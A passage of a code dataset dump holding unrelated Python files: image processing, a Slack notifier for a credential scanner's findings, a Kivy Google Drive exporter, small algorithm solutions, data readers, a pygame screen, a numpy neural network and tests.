cv2.imread(\"../imori.jpg\")\r\n\r\nout = img.copy()\r\nH, W, C = img.shape\r\nG = 8\r\nNh = int(H/G)\r\nNw = int(W/G)\r\n\r\nfor h_ in range(Nh):\r\n for w_ in range(Nw):\r\n for c_ in range(C):\r\n out[G*h_:G*(h_+1), G*w_:G*(w_+1), c_] = np.mean(out[G*h_:G*(h_+1), G*w_:G*(w_+1), c_]).astype(np.int)\r\n\r\ncv2.imshow(\"Q7\", out)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()","sub_path":"Question_01_10/my_answers/Q7.py","file_name":"Q7.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"243847092","text":"import slack, json\nfrom config.slack import Slack as Config\n\n\nclass Slack:\n\n # Slack constructor\n def __init__(self):\n self.client = slack.WebClient(token=Config.token())\n\n # Broadcast a message to slack\n def broadcast(self, payload):\n if not Config.enabled():\n return\n\n message = \"Method: %s \\n Matches: %s \\n Found Credentials: %s \\n Repository: %s\" % (\n payload['name'],\n payload['match'],\n payload['credentials'],\n payload['repo'],\n )\n try:\n self.client.chat_postMessage(\n channel=\"#%s\" % Config.channel(),\n text=message,\n )\n except Exception as e:\n return\n\n","sub_path":"modules/core/slack.py","file_name":"slack.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"383298841","text":"from __future__ import print_function\n\nimport threading\nimport pickle\nimport os.path\nfrom zipfile import ZipFile\n\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\nfrom googleapiclient.http import MediaFileUpload\n\nfrom kivy.app import App\nfrom kivy.clock import mainthread\nfrom kivy.lang import Builder\nfrom kivy.metrics import dp\nfrom kivy.properties import ObjectProperty\nfrom kivy.uix.behaviors import ToggleButtonBehavior\nfrom kivy.utils import get_hex_from_color\nfrom kivymd.uix.boxlayout import MDBoxLayout\nfrom kivymd.uix.button import MDRaisedButton, MDFlatButton\nfrom kivymd.uix.dialog import MDDialog\nfrom kivymd.uix.list import OneLineAvatarIconListItem\nfrom kivymd.uix.snackbar import Snackbar\nfrom kivymd.uix.spinner import MDSpinner\n\nfrom widgets import utils\n\nBuilder.load_file(\"widgets/exportbutton/GoogleDriveExport.kv\")\nSCOPES = ['https://www.googleapis.com/auth/drive.metadata.readonly', 'https://www.googleapis.com/auth/drive',\n 'https://www.googleapis.com/auth/drive.file']\n\n\n# removed ToggleButtonBehavior\nclass GoogleProjectEntry(OneLineAvatarIconListItem):\n \"\"\"\n List item for each folder in the users google drive\n \"\"\"\n\n def __init__(self, parent_layout, **kwargs):\n \"\"\"Init folder item\"\"\"\n super(OneLineAvatarIconListItem, self).__init__(**kwargs)\n self.parent_layout = parent_layout\n self.app = App.get_running_app()\n\n def project_selected(self, project_entry):\n \"\"\"\n Called when a project is selected, updates background color to be theme.primary_light\n :param project_entry: object\n :return: None\n \"\"\"\n\n for project in self.parent_layout.project_entries:\n if project == project_entry:\n project.bg_color = self.app.theme_cls.primary_light\n else:\n project.bg_color = [0, 0, 0, 0]\n self.parent_layout.content.selected_folder_label.text = f\"[b]Selected folder: [/b][i]{project_entry.text}[/i]\"\n self.parent_layout.selected_folder = project_entry.text\n\n def open_selected_folder(self, project_entry):\n \"\"\"\n Open the selected folder in new thread to prevent blocking UI responsiveness\n :param project_entry: object\n :return: None\n \"\"\"\n threading.Thread(target=self.secondary_update, args=(project_entry,), daemon=True).start()\n\n def secondary_update(self, project_entry):\n \"\"\"\n Makes API call to Google Drive and updates the layout using @mainthread functions to have render-related\n processes in the main thread instead of child threads\n\n :param project_entry: object\n :return: None\n \"\"\"\n self.parent_layout.clear_projects()\n self.update_selected_project(project_entry)\n\n new_folder = self.find_folder_in_results(project_entry.text)\n\n self.parent_layout.selected_folder = new_folder\n self.parent_layout.search(f\"mimeType='application/vnd.google-apps.folder' \"\n f\"and trashed=false \"\n f\"and '{new_folder[0]}' in parents\", self.parent_layout.content, False)\n self.parent_layout.update_projects_widget()\n # returns to kill thread, not sure if needed\n return\n\n @mainthread\n def update_selected_project(self, project_entry):\n \"\"\"Update selected folder label so the user knows which folder is selected\"\"\"\n self.parent_layout.content.selected_folder_label.text = f\"[b]Selected folder: [/b][i]{project_entry.text}[/i]\"\n\n def find_folder_in_results(self, folder_name):\n \"\"\"\n Checks if a folder is in the search results\n :param folder_name: str\n :return: tuple\n \"\"\"\n folder = ()\n for result in self.parent_layout.search_results:\n if folder_name in result:\n folder = result\n return folder\n\n\nclass GoogleExportPopupContent(MDBoxLayout):\n \"\"\"\n Content of the popup when export is pressed and \"Google Drive\" is selected\n \"\"\"\n projects_list = ObjectProperty()\n selected_folder_label = ObjectProperty()\n spinner_container = ObjectProperty()\n\n def __init__(self, parent_layout, **kwargs):\n \"\"\"Init content\"\"\"\n super(MDBoxLayout, self).__init__(**kwargs)\n self.parent_layout = parent_layout\n\n def back_project(self):\n \"\"\"Sets the selected folder to \"My Drive\" (root folder) and updates required values\"\"\"\n self.parent_layout.search_results = self.parent_layout.root_projects\n self.parent_layout.selected_folder = \"root\"\n self.selected_folder_label.text = \"[b]Selected folder: [/b][i]My Drive[/i]\"\n self.parent_layout.clear_projects()\n self.parent_layout.update_projects_widget()\n\n\nclass GoogleDriveExport:\n \"\"\"\n Main class for handling the export to google drive\n \"\"\"\n\n def __init__(self, parent_screen, export_filename, **kwargs):\n self.parent_screen = parent_screen\n self.export_filename = export_filename\n self.export_popup = None\n self.app = App.get_running_app()\n self.search_results = []\n self.project_entries = []\n self.root_projects = []\n self.visited_projects = []\n self.content = GoogleExportPopupContent(self)\n self.selected_folder = \"root\"\n\n @staticmethod\n def get_gdrive_service():\n \"\"\"\n Gets the google drive service so we can upload to the users account\n Not completely sure how this works, treated as black box\n :return: object\n \"\"\"\n creds = None\n # The file token.pickle stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n if os.path.exists('token.pickle'):\n with open('token.pickle', 'rb') as token:\n creds = pickle.load(token)\n # If there are no (valid) credentials available, let the user log in.\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(\n 'credentials.json', SCOPES)\n creds = flow.run_local_server(port=0)\n # Save the credentials for the next run\n with open('token.pickle', 'wb') as token:\n pickle.dump(creds, token)\n # return Google Drive API service\n return build('drive', 'v3', credentials=creds)\n\n def search(self, query, content, first=True):\n \"\"\"\n Search for a given file/folder in the users drive based on query\n :param query: str\n :param content: object - popup content\n :param first: bool\n :return: None\n \"\"\"\n # search for the file\n service = self.get_gdrive_service()\n result = []\n page_token = None\n while True:\n response = service.files().list(q=query,\n spaces=\"drive\",\n fields=\"nextPageToken, files(id, name, mimeType, parents)\",\n pageToken=page_token).execute()\n # iterate over filtered files\n for file in response.get(\"files\", []):\n try:\n parent_id = file['parents']\n except KeyError:\n parent_id = \"N/A\"\n result.append((file[\"id\"], file[\"name\"], file[\"mimeType\"], parent_id))\n\n # print(type(list(file.keys())[-1]))\n page_token = response.get('nextPageToken', None)\n if not page_token:\n # no more files\n break\n self.search_results = result\n if first:\n self.update_projects_widget(content)\n self.root_projects = result\n return\n\n @mainthread\n def clear_projects(self):\n \"\"\"Remove all project list items and add a spinner to signify loading\"\"\"\n self.content.projects_list.clear_widgets()\n self.content.spinner_container.add_widget(MDSpinner(\n size_hint=(None, None), pos_hint={'center_x': 0.5, 'center_y': 0.5},\n size=(dp(48), dp(48))\n ))\n\n @mainthread\n def update_projects_widget(self, *args):\n \"\"\"Updates the layout for new projects after api call has finished\"\"\"\n self.content.spinner_container.clear_widgets()\n self.project_entries = []\n for result in self.search_results:\n project_entry = GoogleProjectEntry(self)\n project_entry.text = result[1]\n self.project_entries.append(project_entry)\n self.content.projects_list.add_widget(project_entry)\n\n def fetch_search(self, content):\n \"\"\"Start a new thread to search the users Google Drive and prevent blocking UI thread\"\"\"\n threading.Thread(target=self.search, args=(f\"mimeType='application/vnd.google-apps.folder' \"\n f\"and trashed=false \"\n f\"and 'root' in parents\", content,), daemon=True).start()\n\n def open_export_popup(self):\n \"\"\"\n Opens the export popup and initiates a search for their projects, if no user signed in, search prompts a sign in\n :return: None\n \"\"\"\n self.fetch_search(self.content)\n if not self.export_popup:\n self.export_popup = MDDialog(\n title=f\"[color=%s]Upload project to Google Drive[/color]\" %\n get_hex_from_color(self.app.theme_cls.text_color),\n type=\"custom\",\n content_cls=self.content,\n buttons=[\n MDFlatButton(\n text=\"CANCEL\", text_color=self.app.theme_cls.text_color, on_release=self.close_export_dialog\n ),\n MDRaisedButton(\n text=\"UPLOAD\", text_color=self.app.theme_cls.primary_color,\n on_release=self.start_upload_thread\n )],\n size_hint=(None, None), size=(self.content.width + 50, self.content.height + 50)\n )\n self.export_popup.title = f\"[color=%s]Upload project to Google Drive[/color]\" % \\\n get_hex_from_color(self.app.theme_cls.text_color)\n self.export_popup.set_normal_height()\n self.export_popup.open()\n\n def start_upload_thread(self, *args):\n \"\"\"Start the thread to upload project and prevent UI blocking\"\"\"\n threading.Thread(target=self.upload_project, daemon=True).start()\n\n def upload_project(self, *args):\n \"\"\"Upload the users project to their google drive\"\"\"\n self.start_upload_ui()\n cwd = os.getcwd()\n\n # abs path of project\n project = os.path.abspath(utils.data[self.parent_screen.name]['proj_path'])\n files = []\n for file in os.listdir(project):\n files.append(file)\n\n # send to zip file and save in temp so we can export to drive\n with ZipFile(f\"temp/{self.export_filename}.zip\", \"w\") as project_upload:\n os.chdir(project)\n for file in files:\n project_upload.write(file)\n\n os.chdir(cwd)\n\n folder_id = \"root\" if type(self.selected_folder) == str else self.selected_folder[0]\n\n file_metadata = {\n \"name\": f\"{self.export_filename}.zip\",\n \"parents\": [folder_id]\n }\n\n # upload project\n try:\n service = self.get_gdrive_service()\n media = MediaFileUpload(f\"temp/{self.export_filename}.zip\", resumable=True)\n service.files().create(body=file_metadata, media_body=media, fields='id').execute()\n self.prompt_success()\n # not sure what exceptions could be raised here\n except Exception:\n self.prompt_failure()\n return\n\n @mainthread\n def start_upload_ui(self):\n \"\"\"Provides info to user that upload has started\"\"\"\n if type(self.selected_folder) == str:\n folder = \"My Drive\"\n else:\n folder = self.selected_folder[1]\n\n self.export_popup.dismiss()\n Snackbar(text=f\"Starting upload of {self.export_filename}.zip to \"\n f\"{folder} in Google Drive\").show()\n\n @mainthread\n def prompt_success(self):\n \"\"\"Prompts the suer that their upload has succeeded\"\"\"\n if type(self.selected_folder) == str:\n folder = \"My Drive\"\n else:\n folder = self.selected_folder[1]\n\n Snackbar(text=f\"{utils.data[self.parent_screen.name]['title']} exported\"\n f\" to {folder} in Google Drive as \"\n f\"{self.export_filename}.zip successfully\").show()\n\n @mainthread\n def prompt_failure(self):\n \"\"\"Prompts the suer that their upload has failed\"\"\"\n if type(self.selected_folder) == str:\n folder = \"My Drive\"\n else:\n folder = self.selected_folder[1]\n\n Snackbar(text=f\"** Failed to export {utils.data[self.parent_screen.name]['title']} \"\n f\"to {folder} in Google Drive as \"\n f\"{self.export_filename}.zip **\").show()\n\n def close_export_dialog(self, *args):\n \"\"\"Close the export dialog\"\"\"\n self.export_popup.dismiss()\n","sub_path":"widgets/exportbutton/GoogleDriveExport.py","file_name":"GoogleDriveExport.py","file_ext":"py","file_size_in_byte":13537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"432366925","text":"import os\r\nimport sys\r\nimport globalVars\r\nfrom am8_dbclassDef import Autom8DBClass\r\n\r\n#======================================\r\n# HELPER: get autom8.py's path\r\n#======================================\r\ndef getScriptPath():\r\n\treturn os.path.dirname(os.path.realpath(sys.argv[0]))\r\n\r\n#======================================\r\n# Autom8 class definition\r\n#======================================\r\nclass Autom8Class:\r\n\r\n\t# Fixed data (unmodified in config.m8)\r\n\tconfigFile = 'config.am8'\r\n\tconfigFileSearchPaths = [os.path.expanduser('~')]\r\n\tconfigFilePath = ''\r\n\r\n\tdb = None;\r\n\r\n\t# Editable data\r\n\tdatabaseFile = os.path.join(getScriptPath(),'autom8db.json')\r\n\r\n\r\n\t#======================================\r\n\t# Initialize Autom8Class instance\r\n\t#======================================\r\n\tdef __init__(self):\r\n\r\n\t\t#------------------------------------------\r\n\t\t# Locate config file to use by traversing \r\n\t\t# all paths in self.configFileSearchPaths. \r\n\t\t# This will take the last found config file.\r\n\t\t#------------------------------------------\r\n\r\n\t\t# Search with the directory autom8.py lives first\r\n\t\tself.configFileSearchPaths.insert(0,getScriptPath())\r\n\t\r\n\t\t# Begin search\r\n\t\tfoundPath = False\r\n\t\tfor path in self.configFileSearchPaths:\r\n\t\t\tif(globalVars.verbose>0):\r\n\t\t\t\tprint('Searching', path,'for', self.configFile)\r\n\r\n\t\t\tif(os.path.isfile(os.path.join(path,self.configFile))):\r\n\t\t\t\tself.configFilePath = path\r\n\t\t\t\tfoundPath = True\r\n\t\t\t\tif(globalVars.verbose>0):\r\n\t\t\t\t\tprint('...found')\r\n\r\n\t\tif(foundPath):\r\n\t\t\tprint('Using configuration file', os.path.join(self.configFilePath,self.configFile))\r\n\t\telse:\r\n\t\t\tprint('Unable to find configuration file in any directory. Exiting now.')\r\n\t\t\tsys.exit(1)\r\n\r\n\r\n\tdef printSummary(self):\r\n\t\tprint('\\nAutom8 configuration details:')\r\n\t\tprint('\\tConfiguration file: \"',self.configFile,'\"',sep='')\r\n\t\tprint('\\tDatabase file: \"',self.databaseFile,'\"',sep='')\r\n\r\n\tdef openDatabase(self):\r\n\t\tself.db = Autom8DBClass(self.databaseFile)","sub_path":"am8_classDef.py","file_name":"am8_classDef.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"178403779","text":"# O(N) TIME AND O(N) SPACE WHERE N IS LEN(NUMS)\nclass Solution:\n def deleteAndEarn(self, nums: List[int]) -> int:\n dp = [0 for i in range(max(nums)+1)]\n for num in nums:\n dp[num] += num\n choose = 0\n dontChoose = 0\n for num in dp:\n temp = dontChoose\n dontChoose = max(choose,dontChoose)\n choose = temp + num\n return max(choose,dontChoose)\n \n \n ","sub_path":"delete_and_earn.py","file_name":"delete_and_earn.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"638926913","text":"import os\nimport re\nimport sys\nfrom pathlib import Path\nfrom typing import List\nfrom argparse import ArgumentParser\n\nimport pandas\nfrom unidecode import unidecode\nfrom pandas import DataFrame, read_csv\nfrom bs4 import BeautifulSoup, Tag\n\n\ndef fuzzy_text(text: str):\n return re.sub(r'[^a-z]', '', unidecode(str(text)).lower())\n\n\ndef read_argv(**kwargs):\n ''' Reads the files given as arguments '''\n parser = ArgumentParser()\n parser.add_argument('path', type=str, nargs='+')\n args = parser.parse_args(sys.argv[1:])\n data = [read_file(path, **kwargs) for path in args.path]\n return data[0] if len(data) == 1 else data\n\n\ndef read_file(path: str, **kwargs):\n ext = str(path).split('.')[-1]\n if ext == 'csv':\n return pandas.read_csv(path, **kwargs)\n elif ext == 'json':\n return pandas.read_json(path, **kwargs)\n elif ext == 'html':\n return read_html(open(path).read(), **kwargs)\n elif ext == 'xls' or ext == 'xlsx':\n return pandas.read_excel(path, **kwargs)\n else:\n raise ValueError('Unrecognized extension: %s' % ext)\n\n\ndef _get_html_columns(row: Tag) -> List[Tag]:\n cols = []\n for elem in filter(lambda row: isinstance(row, Tag), row.children):\n cols += [elem] * int(elem.attrs.get('colspan', 1))\n return list(cols)\n\n\ndef _default_html_cell_parser(cell: Tag, row_idx: int, col_idx: int):\n return cell.get_text().strip()\n\n\ndef count_html_tables(html: str, selector: str = 'table'):\n page = BeautifulSoup(html, 'lxml')\n return len(page.select(selector))\n \n\ndef wiki_html_cell_parser(cell: Tag, row_idx: int, col_idx: int):\n return re.sub(r'\\[.+\\]', '', cell.get_text().strip())\n\n\ndef read_html(\n html: str,\n selector: str = 'table',\n table_index: int = 0,\n skiprows: int = 0,\n header: bool = False,\n parser = None) -> DataFrame:\n ''' Parse an HTML table into a DataFrame '''\n parser = parser if parser is not None else _default_html_cell_parser\n\n # Fetch table and read its rows\n page = BeautifulSoup(html, 'lxml')\n table = page.select(selector)[table_index]\n rows = [_get_html_columns(row) for row in table.find_all('tr')]\n\n # Adjust for rowspan > 1\n for idx_row, row in enumerate(rows):\n for idx_cell, cell in enumerate(row):\n rowspan = int(cell.attrs.get('rowspan', 1))\n cell.attrs['rowspan'] = 1 # reset to prevent cascading\n for offset in range(1, rowspan):\n rows[idx_row + offset].insert(idx_cell, cell)\n\n # Get text within table cells and build dataframe\n records = []\n for row_idx, row in enumerate(rows[skiprows:]):\n records.append([parser(elem, row_idx, col_idx) for col_idx, elem in enumerate(row)])\n data = DataFrame.from_records(records)\n\n # Parse header if requested\n if header:\n data.columns = data.iloc[0]\n data = data.drop(data.index[0])\n\n return data\n","sub_path":"input/covid_io.py","file_name":"covid_io.py","file_ext":"py","file_size_in_byte":2909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"308181651","text":"import pygame\nimport settings\nimport drawings\nimport submodules\n\n\ndef run_game_stage_connect():\n\n\n settings.connectButton.reset()\n # Initial Phase before connecting to server\n while settings.playerReady == False:\n\n # getting the new screen dimensions\n submodules.update_display_dimensions(pygame.display)\n\n events = pygame.event.get()\n for event in events:\n if event.type == pygame.QUIT:\n settings.playerReady = True\n game_stage = \"closing\"\n break\n\n if event.type == pygame.MOUSEBUTTONDOWN:\n mx, my = pygame.mouse.get_pos()\n settings.SoundButtons.mouseAction(mx, my)\n settings.connectButton.mouseAction(mx, my)\n settings.exitGameButton.mouseAction(mx, my)\n if settings.exitGameButton.clicked:\n game_stage = \"closing\"\n settings.playerReady = True\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RETURN:\n settings.connectButton.clicked = True\n settings.connectButton.text = \"Connecting to Server...\"\n settings.connectButton.font = 30\n\n if settings.connectButton.clicked == True:\n settings.playerReady = True\n game_stage = \"play\"\n\n # adjust the background and hit sounds\n if settings.SoundButtons.bg_sound == False:\n settings.game_sound_mixer.Channel(0).set_volume(0)\n elif settings.SoundButtons.bg_sound == True:\n settings.game_sound_mixer.Channel(0).set_volume(settings.BG_SOUND_LEVEL)\n\n if settings.SoundButtons.kick_sound == False:\n settings.game_sound_mixer.Channel(1).set_volume(0)\n settings.game_sound_mixer.Channel(2).set_volume(0)\n elif settings.SoundButtons.kick_sound == True:\n settings.game_sound_mixer.Channel(1).set_volume(settings.HIT_SOUND_LEVEL)\n settings.game_sound_mixer.Channel(2).set_volume(settings.HIT_SOUND_LEVEL)\n\n # update the display window\n drawings.draw_stage_connect()\n\n # wait time\n settings.clock.tick(settings.SCREEN_UPDATE_CLOCK_TICK_INIT)\n\n settings.playerReady = False\n settings.connectButton.clicked = False\n return game_stage\n","sub_path":"game_stage_connect.py","file_name":"game_stage_connect.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"613279081","text":"# Import Packages ------------------------------------------------------------#\nimport numpy as np\nimport scipy.special\n# import matplotlib.pyplot\n# for Jupyter\n# %matplotlib inline\n\n\n# Neural Network Class Definition --------------------------------------------#\nclass NeuralNetwork:\n def __init__(self, input_nodes, hidden_nodes, output_nodes, learning_rate):\n self.inodes = input_nodes\n self.hnodes = hidden_nodes\n self.onodes = output_nodes\n\n self.wih = np.random.normal(0.0, pow(self.hnodes, -0.5),\n (self.hnodes, self.inodes))\n self.who = np.random.normal(0.0, pow(self.onodes, -0.5),\n (self.onodes, self.hnodes))\n\n # Sigmoid function\n self.activation_function = lambda x: scipy.special.expit(x)\n\n self.lr = learning_rate\n\n def train(self, inputs_list, targets_list):\n inputs = np.array(inputs_list, ndmin=2).T\n targets = np.array(targets_list, ndmin=2).T\n\n hidden_inputs = np.dot(self.wih, inputs)\n hidden_outputs = self.activation_function(hidden_inputs)\n\n final_inputs = np.dot(self.who, hidden_outputs)\n final_outputs = self.activation_function(final_inputs)\n\n output_errors = targets - final_outputs\n hidden_errors = np.dot(self.who.T, output_errors)\n\n self.who += self.lr * np.dot((output_errors * final_outputs *\n (1.0 - final_outputs)),\n np.transpose(hidden_outputs))\n self.wih += self.lr * np.dot((hidden_errors * hidden_outputs *\n (1.0 - hidden_outputs)),\n np.transpose(inputs))\n\n def query(self, inputs_list):\n inputs = np.array(inputs_list, ndmin=2).T\n\n hidden_inputs = np.dot(self.wih, inputs)\n hidden_outputs = self.activation_function(hidden_inputs)\n\n final_inputs = np.dot(self.who, hidden_outputs)\n final_outputs = self.activation_function(final_inputs)\n return final_outputs\n\n\n# Application ----------------------------------------------------------------#\n# Hyper-Parameter Config\ninput_nodes = 784\nhidden_nodes = 200\noutput_nodes = 10\nlearning_rate = 0.1\n\n# Neural Network\nnn = NeuralNetwork(input_nodes, hidden_nodes, output_nodes, learning_rate)\n\n# Training\n# with open('dataset/mnist_train_100.csv', 'r') as f:\nwith open('dataset/mnist_train.csv', 'r') as f:\n data = f.readlines()\n\nepochs = 5\nfor e in range(epochs):\n for record in data:\n all_values = record.split(',')\n inputs = (np.asfarray(all_values[1:]) / 255.0 * 0.99) + 0.01\n targets = np.zeros(output_nodes) + 0.01\n targets[int(all_values[0])] = 0.99\n nn.train(inputs, targets)\n\n# Test\n# with open('dataset/mnist_test_10.csv', 'r') as f:\nwith open('dataset/mnist_test.csv', 'r') as f:\n test_data = f.readlines()\n\nscore = []\nfor record in test_data:\n all_values = record.split(',')\n target_label = int(all_values[0])\n print(\"Target: \", target_label)\n\n inputs = (np.asfarray(all_values[1:]) / 255.0 * 0.99) + 0.01\n outputs = nn.query(inputs)\n result_label = np.argmax(outputs)\n print(\"Result: \", result_label)\n\n if (result_label == target_label):\n score.append(1)\n else:\n score.append(0)\n\nscore_array = np.asarray(score)\nprint(\"Accuracy: \", score_array.sum() / score_array.size)\n","sub_path":"old/MakeYourOwnNeuralNetwork/neural_network.py","file_name":"neural_network.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"524834889","text":"from torch.utils.tensorboard import SummaryWriter\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nfrom torch.utils.data import DataLoader\nimport numpy as np\nimport os\nimport sys\nimport copy\nimport random\nfrom tqdm import tqdm\nfrom utils.dataset import HourGlassDataset\nfrom model.netconv import EnvelopeNet,FrequencyNet\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport shutil\n\ndef plot_vox(fig, vox, x, y, idx):\n vox[16,:,16] = 1\n ax = fig.add_subplot(x,y,idx,projection='3d',xticks=[], yticks=[],zticks=[])\n ax.voxels(vox,edgecolors='black')\n return ax\n\ndef plot_vector(fig, data, x, y, idx):\n ax = fig.add_subplot(x,y,idx,xticks=[], yticks=[])\n ax.bar(np.arange(len(data)),data,width = 0.25)\n return ax\n\ndef plot_lists(data_list, title_list):\n length = len(data_list)\n img_width = 6\n fig = plt.figure(figsize=(img_width*length, img_width))\n for idx in np.arange(length):\n data = data_list[idx]\n title = title_list[idx]\n dim = len(data.shape)\n if dim == 3:\n ax = plot_vox(fig, data,1,length,idx+1)\n else:\n ax = plot_vector(fig, data,1,length,idx+1)\n ax.set_title(title_list[idx])\n return fig\n\ndef main(writer, net_name,log_dir):\n filename = 'all.npz'\n testset = HourGlassDataset('dataset/test/{}'.format(filename))\n test_loader = DataLoader(testset, batch_size=1,shuffle=True, num_workers=0,drop_last=True)\n if net_name == 'envelope':\n model = EnvelopeNet().cuda()\n else:\n model = FrequencyNet().cuda()\n model.load_state_dict(torch.load(os.path.join(log_dir, net_name + '_best.weights')))\n model.eval()\n with torch.set_grad_enabled(False):\n for i, data in enumerate(test_loader):\n if net_name == 'envelope':\n inputs = data['vox'].cuda()\n targets = data['target'].cuda()\n index = (targets != 0).any(-1)\n targets = targets[index]\n outputs = model(inputs, index)\n targets = targets.view(targets.size(0),3,-1)\n idx = random.randrange(len(targets))\n\n inputs = inputs[0].cpu().numpy()\n targets = targets[idx].cpu().numpy()[0,:]\n outputs = outputs[idx].cpu().numpy()[0,:]\n \n \n else:\n inputs = data['vox'].cuda()\n targets = data['freq'].cuda()\n outputs = model(inputs)\n\n inputs = inputs[0].cpu().numpy()\n targets = targets[0].cpu().numpy()\n outputs = outputs[0].cpu().numpy()\n\n data_list = [inputs, outputs, targets]\n title_list = ['input', 'output', 'target']\n writer.add_figure(net_name, plot_lists(data_list,title_list),i)\n if i > 20:\n break\n\n\n\ndef check_all():\n main(writer, 'envelope')\n main(writer, 'frequency')\n\ndef check_vox():\n filename = 'all_clean.npz'\n testset = HourGlassDataset('dataset/test/{}'.format(filename))\n test_loader = DataLoader(testset, batch_size=1,shuffle=True, num_workers=0,drop_last=True)\n for i, data in enumerate(test_loader):\n inputs = data['vox'][0]\n data_list = [inputs]\n title_list = ['vox']\n writer.add_figure('vox check', plot_lists(data_list,title_list),i)\n if i > 20:\n break\n \nif __name__ == \"__main__\":\n log_dir = os.path.join('result','envelope40')\n writer = SummaryWriter(log_dir)\n main(writer,'envelope',log_dir)\n ","sub_path":"check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"569235711","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('technology', '0029_auto_20170212_2343'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='access',\n name='user',\n field=models.ForeignKey(related_name='technologies_accessed', to=settings.AUTH_USER_MODEL, null=True),\n ),\n migrations.AlterField(\n model_name='source',\n name='source_type',\n field=models.ForeignKey(to='technology.Source_Type', choices=[(1, 'Book'), (5, 'Blog'), (6, 'Documentation'), (7, 'Tutorial'), (8, 'Course'), (10, 'Other')]),\n ),\n ]\n","sub_path":"technology/migrations/0030_auto_20170216_2228.py","file_name":"0030_auto_20170216_2228.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"308030069","text":"\ndef read():\n\tlist = [int(x) for x in input().split()]\n\tlist.pop(0)\n\treturn list\n\nlist = read()\nwhile len(list) > 0:\n\tlist = sorted(list, reverse=True)[:3]\n\tprint(list[0] * list[1] * list[2])\n\tlist = read()\n\t\n","sub_path":"2017/p7.py","file_name":"p7.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"340724692","text":"import unittest\n\nimport pymq\nfrom pymq.provider.ipc import IpcEventBus, IpcConfig, IpcQueue\nfrom tests.base.pubsub import AbstractPubSubTest\nfrom tests.base.queue import AbstractQueueTest\nfrom tests.base.rpc import AbstractRpcTest\n\n\nclass IpcEventBusTestBase(unittest.TestCase):\n bus: IpcEventBus\n\n def setUp(self) -> None:\n self.bus = pymq.init(IpcConfig())\n\n def tearDown(self) -> None:\n pymq.shutdown()\n self.bus.close()\n\n\nclass IpcQueueTest(IpcEventBusTestBase, AbstractQueueTest):\n\n @classmethod\n def tearDownClass(cls) -> None:\n IpcQueue('pymq_global_test_queue').free()\n IpcQueue('pymq_global_test_queue_1').free()\n IpcQueue('pymq_global_test_queue_2').free()\n\n\nclass IpcRpcTest(IpcEventBusTestBase, AbstractRpcTest):\n\n def setUp(self) -> None:\n super().setUp()\n\n\nclass IpcPubSubTest(IpcEventBusTestBase, AbstractPubSubTest):\n def test_publish_pattern(self):\n pass\n\n\ndel IpcEventBusTestBase\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_provider_ipc.py","file_name":"test_provider_ipc.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"46131801","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/muntjac/test/server/components/grid_layout_last_row_removal.py\n# Compiled at: 2013-04-04 15:36:37\nfrom unittest import TestCase\nfrom muntjac.ui.grid_layout import GridLayout\nfrom muntjac.ui.label import Label\n\nclass TestGridLayoutLastRowRemoval(TestCase):\n\n def testRemovingLastRow(self):\n grid = GridLayout(2, 1)\n grid.addComponent(Label('Col1'))\n grid.addComponent(Label('Col2'))\n try:\n grid.removeRow(0)\n except ValueError:\n self.fail('removeRow(0) threw an ValueError when removing the last row')\n\n self.assertEquals(2, grid.getColumns())\n self.assertEquals(1, grid.getRows())\n self.assertEquals(grid.getComponent(0, 0), None, 'A component should not be left in the layout')\n self.assertEquals(grid.getComponent(1, 0), None, 'A component should not be left in the layout')\n self.assertEquals(0, grid.getCursorX())\n self.assertEquals(0, grid.getCursorY())\n return","sub_path":"pycfiles/Muntjac-1.1.2-py2.7/grid_layout_last_row_removal.py","file_name":"grid_layout_last_row_removal.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"512313978","text":"from django.contrib.gis.db import models\nfrom 